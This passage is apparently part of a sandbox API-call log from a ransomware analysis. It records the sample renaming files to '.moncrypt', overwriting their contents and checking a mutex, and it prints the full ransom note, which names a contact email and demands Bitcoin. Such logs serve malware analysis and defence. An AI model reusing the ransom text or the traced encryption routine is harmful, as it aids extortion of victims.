lpUsedDefaultChar=0x0) returned 1 [0054.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNGy", lpUsedDefaultChar=0x0) returned 74 [0054.012] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0054.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\SLATE\\THMBNAIL.PNGy", lpUsedDefaultChar=0x0) returned 4 [0054.013] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0054.013] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.013] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.013] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0054.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.014] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.moncrypt")) returned 1 [0054.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.014] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.014] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x6a29 [0054.014] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.015] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.016] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.016] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.017] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.017] GlobalUnlock (hMem=0x440004) returned 0 [0054.017] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0054.017] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.017] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.017] GlobalUnlock (hMem=0x440004) returned 0 [0054.017] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.017] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.017] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.017] GlobalUnlock (hMem=0x44000c) returned 0 [0054.017] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.017] GlobalUnlock (hMem=0x440004) returned 0 [0054.017] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.017] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.017] GlobalUnlock (hMem=0x440004) returned 0 [0054.017] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.017] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.017] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.017] GlobalUnlock (hMem=0x440004) returned 0 [0054.017] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.018] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.018] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.018] SetFilePointer (in: hFile=0x18c, lDistanceToMove=27177, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x6a29 [0054.018] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.018] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.018] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.033] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.034] CloseHandle (hObject=0x18c) returned 1 [0054.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.035] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.035] CloseHandle (hObject=0x18c) returned 1 [0054.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0054.035] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.035] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.035] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.035] GlobalUnlock (hMem=0x440004) returned 0 [0054.035] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.035] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.035] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.035] GlobalUnlock (hMem=0x440004) returned 0 [0054.035] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.035] GlobalUnlock (hMem=0x44000c) returned 0 [0054.035] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.035] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41606f60, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41606f60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4162d0c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0054.036] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0054.036] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0054.036] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.036] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.036] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0054.036] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.036] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.036] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0054.036] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.036] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0054.036] CloseHandle (hObject=0x18c) returned 1 [0054.037] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.037] GetLastError () returned 0x12 [0054.037] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.037] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.037] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.037] GlobalUnlock (hMem=0x44000c) returned 0 [0054.037] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.037] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.037] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.037] GlobalUnlock (hMem=0x44000c) returned 0 [0054.037] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.037] GlobalUnlock (hMem=0x440004) returned 0 [0054.037] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4162d0c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4162d0c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.037] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.037] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.037] GlobalLock (hMem=0x440004) returned 0x550170 [0054.037] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.037] GlobalUnlock (hMem=0x440004) returned 0 [0054.037] GlobalLock (hMem=0x440004) returned 0x550170 [0054.037] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.037] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.037] GlobalUnlock (hMem=0x440004) returned 0 [0054.038] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.038] GlobalUnlock (hMem=0x44000c) returned 0 [0054.038] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.038] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4162d0c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4162d0c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.038] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.038] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.038] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.038] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.038] GlobalUnlock (hMem=0x44000c) returned 0 [0054.038] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.038] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.038] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.038] GlobalUnlock (hMem=0x44000c) returned 0 [0054.038] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.038] GlobalUnlock (hMem=0x440004) returned 0 [0054.038] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.038] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41606f60, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41606f60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4162d0c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0054.038] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.038] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.038] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.038] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.038] GlobalUnlock (hMem=0x440004) returned 0 [0054.038] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.038] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.038] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.038] GlobalUnlock (hMem=0x440004) returned 0 [0054.038] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.038] GlobalUnlock (hMem=0x44000c) returned 0 [0054.038] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.039] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.039] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.039] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.039] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.039] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.039] GlobalUnlock (hMem=0x44000c) returned 0 [0054.039] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.039] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.039] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.039] GlobalUnlock (hMem=0x44000c) returned 0 [0054.039] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.039] GlobalUnlock (hMem=0x440004) returned 0 [0054.039] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.039] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14d05, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM.moncrypt", cAlternateFileName="SLATEE~1.MON")) returned 1 [0054.039] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.039] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.039] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.039] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.039] GlobalUnlock (hMem=0x440004) returned 0 [0054.039] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.039] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.039] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.039] GlobalUnlock (hMem=0x440004) returned 0 [0054.039] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.039] GlobalUnlock (hMem=0x44000c) returned 0 [0054.039] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.039] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0054.039] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.039] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.040] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.040] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.040] GlobalUnlock (hMem=0x44000c) returned 0 [0054.040] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.040] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.040] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.040] GlobalUnlock (hMem=0x44000c) returned 0 [0054.040] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.040] GlobalUnlock (hMem=0x440004) returned 0 [0054.040] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.040] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6aee, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0054.040] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.040] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.040] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.040] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.040] GlobalUnlock (hMem=0x440004) returned 0 [0054.040] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.040] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.040] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.040] GlobalUnlock (hMem=0x440004) returned 0 [0054.040] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.040] GlobalUnlock (hMem=0x44000c) returned 0 [0054.040] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.040] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6aee, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", 